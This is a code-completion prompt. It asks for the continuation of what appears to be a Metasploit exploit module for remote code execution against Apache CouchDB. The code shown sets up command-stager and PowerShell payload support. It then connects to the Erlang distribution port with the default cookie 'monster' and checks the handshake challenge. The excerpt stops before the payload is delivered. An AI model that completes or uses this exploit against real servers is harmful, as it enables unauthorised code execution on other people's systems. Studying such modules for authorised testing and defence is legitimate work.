You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: apache_couchdb_erlang_rce.rb
    path of file: ./repos/metasploit-framework/modules/exploits/multi/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Retry
  include Msf::Exploit::Powershell
  prepend Msf::Exploit::Remote::AutoCheck
  require 'msf/core/exploit/powershell'
  require 'digest'

  # Constants
    
  def connect_to_erlang_server(erlang_port)
    print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')
    connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })
    print_status('Connection successful')
    challenge = retry_until_truthy(timeout: 60) do
      sock.put(NAME_MSG)
      sock.get_once(5) # ok message
      sock.get_once
    end
    # The expected successful response from the target should start with \x00\x1C
    unless challenge && challenge.include?("\x00\x1C")
      print_error('Connecting to the Erlang server was unsuccessful')
      return
    end